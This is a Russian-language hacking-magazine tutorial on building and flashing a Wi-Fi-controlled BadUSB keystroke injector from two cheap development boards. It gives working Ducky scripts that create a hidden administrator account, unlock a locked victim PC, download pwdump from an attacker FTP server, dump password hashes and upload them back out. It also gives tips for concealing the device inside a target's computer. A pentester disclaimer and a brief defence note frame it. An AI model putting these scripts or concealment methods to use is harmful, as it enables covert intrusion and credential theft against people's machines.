January 21, 2019

Мастерим и программируем BadUSB с Wi-Fi

Ты, разумеется, знаешь истории о том, как хакеры используют для атак устройства, похожие на флешку. Достаточно подобраться к серверу и подключить такой девайс, чтобы заполучить удаленный контроль. Согласись, очень похоже на прототип Rubber Ducky. Однако «злая утка» — это всегда разовая акция: один скетч и заранее известные действия. Сегодня мы приготовим гораздо более универсальную модификацию.

WARNING

Статья предназначена для «белых хакеров», профессиональных пентестеров и руководителей службы информационной безопасности (CISO). Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Чуть больше, чем Rubber Ducky

Наверняка ты уже слышал про Rubber Ducky. Это устройство из разряда BadUSB для HID-атаки. Подобного рода девайсы умеют эмулировать клавиатуру и позволяют отправить любые команды, словно их набрал текущий пользователь.

В этих устройствах есть простой микроконтроллер и память, в которую записывается скетч (код для Arduino и подобных отладочных плат). Он содержит функцию эмуляции нужного устройства и набор выполняемых им действий. Как показывает практика, обычно это клавиатура и последовательность «нажимаемых» на ней клавиш.

В статье «Злой HID» уже было детально описано, как выбрать и подготовить такой девайс, так что на этом останавливаться не буду. Стоит лишь сказать, что опасность этого метода атаки заключается в скрытности и скорости исполнения.

Конечно, у этих девайсов есть и свои недостатки. Во-первых, нужно тщательно разведать полную конфигурацию компьютера-жертвы. Во-вторых, перед реальной атакой нужно проверить, как она будет выполняться на максимально подобной тестовой системе, и внести необходимые правки — в частности, подобрать оптимальные задержки. В реальных условиях, скорее всего, будет проблематично второй раз приблизиться к атакуемому компьютеру, а если хоть один скан-код клавиши будет отправлен не вовремя, то все окажется напрасным. В-третьих, можно использовать только один скетч. Нельзя дописать какую-то функцию на лету или прервать и перезапустить набор действий. Мы изготовим устройство, лишенное этих недостатков.

Готовим Wi-Fi Ducky

Практически это будет тот же самый Rubber Ducky, только с модулем Wi-Fi. Суть в том, что при его подключении к компьютеру скетч не выполняется сразу при подаче питания на плату (хотя такая функция тоже есть). В этот момент создается точка доступа, которая ждет подключения. Соединиться с ней можно как со смартфона, так и с ноутбука и уже оттуда в любой удобный момент совершать необходимые действия.

За основу можно взять Arduino MKR1000 с Wi-Fi-модулем Atmel ATSAMW25 на борту, добавить библиотеку WiFi101 и готовый код отсюда. Однако обойдется это в 35 долларов. Также есть готовый проект Cactus WHID. Он стоит уже 14 долларов и выглядит как флешка, но доработать его будет сложнее.

Я предлагаю собрать более дешевый (меньше десяти долларов) и функциональный девайс под названием Wi-Fi Ducky. Его автор — Stefan Kremser с ником «Космокурица», а железо для его крутых самоделок продается в отдельном магазине на AliExpress. Там можно купить готовые DIY-модули, скачать код с гитхаба и повторить все шаг за шагом, однако мы пойдем немного другим путем.

Возьмем два устройства:

  • WeMos D1 mini с микроконтроллером ESP-8266EX и Wi-Fi-модулем стандарта 802.11b/g/n на борту.

Нам необходимо будет соединить их, но вначале — прошить.

INFO

Все описанные действия выполнялись на операционной системе Windows 7 x64.

Прошивка Arduino Micro Pro

Начнем с платы Arduino. Скачиваем и устанавливаем Arduino IDE. При установке этого программного обеспечения заодно установятся все драйверы для этого устройства, так что дополнительно ничего не надо будет устанавливать. Чтобы подключить ее к компьютеру, необходимо запастись OTG-адаптером или кабелем с надлежащими выходами, так как на плате расположен разъем mini-USB.

После установки программного обеспечения запускаем его и подключаем Arduino к компьютеру. В меню «Инструменты» в разделе «Плата» выбираем Arduino/Genuino Micro. Далее в том же меню выбираем COM-порт, на котором определено устройство. На этом настройка программного обеспечения завершена.

Следующим шагом идем по ссылке, где расположен скетч. На него достаточно взглянуть, чтобы понять, что он делает: преобразует команды типа STRING в поддерживаемый Arduino синтаксис типа Keyboard.print(“”) и активирует нужные контакты. Копируем его и вставляем в Arduino IDE. Нажимаем кнопку «Загрузка» и через две-три минуты получаем сообщение о том, что скетч успешно загружен. Теперь при подаче питания на плату контроллер активирует контакты TX, RX, GND и RAM, после чего переходит в режим ожидания команд.

Прошивка WeMos D1 mini

Добрались до следующего компонента нашей злой утки на стероидах. В этот раз нам потребуется перейти с micro-USB на USB Type-А. При первом подключении к компьютеру Windows ругнется на неопределенное устройство, поэтому необходимо скачать драйвер CH341 c официального сайта.

Тут ничего сложного: извлекаем из архива EXE-файл, запускаем его с правами администратора и нажимаем INSTALL. После этих нехитрых манипуляций в диспетчере устройств эта плата должна определиться как USB-SERIAL СР340. Поделюсь горьким опытом: если установить неверный драйвер, то устройство определится, но название будет другое, и ничего не заработает. Будь предельно внимательным!

Теперь устройство готово к прошивке, и нам нужен прошивальщик. Я воспользуюсь NodeMCU firmware programmer. Заходим на GitHub и скачиваем его в соответствии с версией твоей операционки. У меня это Win64. Еще необходимо скачать саму прошивку. Их будет несколько вариаций, я скачивал esp8266_wifi_duck_4mb.bin, как наиболее увесистый и функциональный вариант.

После этого запускаем и настраиваем прошивальщик. В поле COM Port выбираем тот порт, на котором определилась плата. Обычно программа сама его «видит» и подставляет необходимое значение. Далее переходим во вкладку Config, где в первой строке нажимаем на шестеренку и указываем путь до прошивки, кото��ую скачали. Значение остается 0x00000. Во вкладке Advanced советую выставить параметр Baudrate на 115200. У меня прошивка записалась на такой скорости, а если у тебя возникнет ошибка, то просто уменьши ее. Остальное оставляем без изменения. В итоге должно получиться как на скриншоте.

Когда все нехитрые манипуляции будут выполнены, возвращаемся на вкладку Operation и нажимаем Flash. Ниже кнопки расположен индикатор, который покажет приблизительное время загрузки прошивки в память, а зеленая галочка с надписью NODEMCU TEAM даст знать, что прошивка закончилась.

Работаем паяльником

После того как обе платы подготовлены и прошиты, необходимо соединить их в одного «Франкенштейна». Для этого подключаем проводами контакты в соответствии с таблицей:

Arduino <--> Wemios
TX      <--> RX
RX      <--> TX
GND     <--> GND
RAM     <--> 5U

Для начала лучше соединить их без пайки (на монтажной плате очень удобно) и проверить работоспособность. Подключаем к компьютеру Arduino Micro Pro и тестируем. Если устройство завелось и работает как надо, то можно собирать его уже с припоем. Мелких деталей там нет, перегреть особо нечего, так что получится даже у того, кто недавно поссорился с паяльником.

Вот как получилось у меня.

Проверяем и разбираем функциональность

Самое время проверить, не сломалась ли какая-то из плат во время пайки. Подключаем Arduino Micro Pro к компьютеру и ждем, пока установится универсальный драйвер для HID-устройства. «Ардуина» должна сигнализировать двумя красными и одним зеленым светодиодами.

С телефона, планшета или ноутбука смотрим список точек доступа Wi-Fi. Должна появиться новая AP под названием WiFi Duck. Если ее видим, значит, все работает. Можно вскинуть руки, закричать «It’s Alive!» и дьявольски захохотать во вспышках молний.

Подключаемся к ней. Пароль — quackquack (это дефолтный, его можно будет изменить в настройках). Теперь открываем браузер, идем по адресу 192.168.4.1 (это дефолтный адрес ESP-8266EX в режиме AP) и видим панель управления нашим устройством.

На web-интерфейсе все по-спартански, ничего лишнего. Четыре страницы, или вкладки, — две рабочие и две информационные:

  • Scripts. Эта вкладка предназначена для работы с уже готовыми скриптами. Изначально она пуста, но кнопкой UPLOAD NEW SCRIPT можно загрузить написанный скетч в форматах .ino и .txt из памяти устройства (с которого зашли), после чего выполнить его в любое удобное время. Можно скрипты писать самому или найти в интернете готовые решения, например тут. Не все из них рабочие, необходимо будет заранее протестировать (оболочка позволяет редактировать их). Памяти на все это дело предостаточно — почти 3 Мбайт.
  • Live Execute. На этой странице расположено поле, в которое мы пишем скетч. Его можно сразу выполнить или сохранить. При сохранении он отобразится на странице Scripts. Язык написания скетча отличается от привычного в Arduino, поэтому ниже поля для ввода дана инструкция с командами и описанием каждой из них.
  • Settings. Это страница настроек точки доступа. Тут можно поменять название точки доступа, пароль, сделать ее скрытой. Также можно указать скрипт, который будет выполняться сразу при подключении устройства к компьютеру.
  • Info. Эта страница носит скорее информационный характер. Тут находится ссылка на автора проекта, SDK, веб-сервер, скрипты и их интерпретатор. Можно также обновить версию прошивки ESP8266 «по воздуху»

Пишем скрипты для атак

Наше кибероружие подготовлено и начищено, осталось зарядить его скриптами. Обрати внимание на расстановку пауз в них (DELAY). Они нужны для того, чтобы код не начал выполняться слишком рано — прежде, чем целевой компьютер успеет на него отреагировать. Советую делать паузы побольше, исходя из того, что система жертвы будет медленней твоей тестовой. Это может быть из-за отсутствия на ней SSD, меньшего объема оперативки, медленного процессора и так далее.

Смоделируем такую ситуацию: Wi-Fi Ducky уже подключен к цели, а мы находимся где-то неподалеку. В системе есть учетная запись пользователя с правами локального администратора, и она сейчас активна. Нам необходимо выполнить какое-то действие. Для начала создадим скрипт, который создаст еще одного пользователя и добавит его в группу «Администраторы».

GUI r
STRING cmd
ENTER
DELAY 100
STRING net user hacker qwerty /add
DELAY 200
STRING net localgroup administrators hacker /add
ALT KEY_F4

Если скетч запустится с правами учетной записи обычного пользователя, то появится сообщение: «Системная ошибка 5. Отказано в доступе». Под админом он выполнится менее чем за полсекунды, после чего окно консоли закроется.

INFO

Для русифицированных версий Windows придется указать имя группы «Администраторы» по-русски: net localgroup Администраторы hacker /add. Однако для этого потребуются дополнительные действия. Подробнее см. статью «Русифицируем уточку. Как заставить BadUSB работать с разными раскладками клавиатуры».

Отлично, теперь необходимо дождаться, пока пользователь заблокирует компьютер и уйдет, к примеру, на обед. Запускаем скрипт, который разблокирует компьютер под нашим пользователем:

TAB
DELAY 30
TAB 
DELAY 30
ENTER
TAB
DELAY 30
TAB
DELAY 30
ENTER

Вуаля! Мы работаем за компьютером жертвы без ее ведома с новой учетной записью. Конечно, если в системе всего две учетные записи — исходная и наша.

Далее, к примеру, можно загрузить с заранее подготовленного FTP-сервера pwdump:

GUI r
DELAY 30
STRING cmd
ENTER
DELAY 30
STRING echo open > ftp.txt & echo ip-ftp >> ftp.txt & echo user >> ftp.txt & echo password >> ftp.txt & echo get pwdump.exe >> ftp.txt & echo bye >> ftp.txt
ENTER
DELAY 50
STRING ftp –s:ftp.txt
DELAY 3000

После чего мы можем сдампить хеши паролей:

STRING pwdump.exe >> pass.txt

…и загрузить файл обратно на сервер:

STRING echo open > ftp1.txt & echo ip-ftp >> ftp1.txt & echo user >> ftp1.txt & echo password >> ftp1.txt & echo send pass.txt >> ftp1.txt & echo bye >> ftp1.txt
DELAY 50
STRING ftp –s:ftp1.txt

Останется воспользоваться радужными таблицами для расшифровки, и мы уже владеем учетными записями для продолжения атаки. Устройство все еще в компьютере, и делать мы можем что угодно в радиусе приема «злого Wi-Fi».

Дорабатываем и совершенствуем

Получился довольно неплохой хакерский девайс, но нет предела совершенству. Приведу несколько примеров того, как можно доработать это детище.

Чтобы устройство не светилось, как гирлянда, в чужом компьютере, можно заменить светодиоды перемычками или закрасить их лаком для ногтей (в несколько слоев). Две отладочные платы на торчащих проводах явно вызовут подозрения, поэтому неплохо было бы подобрать или изготовить для них корпус.

Если будет возможность не просто подобраться к системному блоку, а вскрыть его, то неплохо было бы обзавестись кабелем, который подключается к материнской плате напрямую. Это сильно уменьшит шансы того, что устройство в скором времени обнаружат.

Если устройство будет внутри системного блока, то можно воспользоваться D1 mini Pro V1.1.0, так как у нее есть разъем под внешнюю антенну — она увеличит радиус действия.

Заключение

Мы сделали усовершенствованную модель Rubber Ducky — Wi-Fi Ducky. Это довольно опасное устройство размером со спичечный коробок, причем его создание не требует больших вложений. Возможность изготовить его самостоятельно сильно облегчается наличием готовых плат Arduino и скетчей для них.

По-хорошему отладочные платы используют именно для прототипирования, а в дальнейшем разводят уже свою плату с тем же микроконтроллером и модулем Wi-Fi, но без лишних элементов. Ее изготовление можно заказать на заводе. Например, здесь доступно мелкосерийное производство от пяти долларов, и подобных сервисов много.

Можно записать в память Wi-Fi Ducky скрипты, а затем выполнять их в любое время и на любой операционной системе — встроенной памяти хватит на тысячи строк кода. Дистанционное управление добавляет устройству универсальности по сравнению с локальными девайсами класса BadUSB. С ним можно делать на удаленном компьютере что угодно, словно ты сам сидишь за его клавиатурой.

Это будет уже не спайка двух отладочных плат, торчащая из USB-порта, а серьезный Wi-Fi Ducky — более миниатюрный и надежный, не привлекающий внимания.

Защититься от такого девайса можно точно так же, как и от Rubber Ducky: необходимо заблокировать добавление нового HID-устройства средствами операционной системы либо комплексными системами защиты (Kaspersky, HEAT Software и прочие Endpoint Security).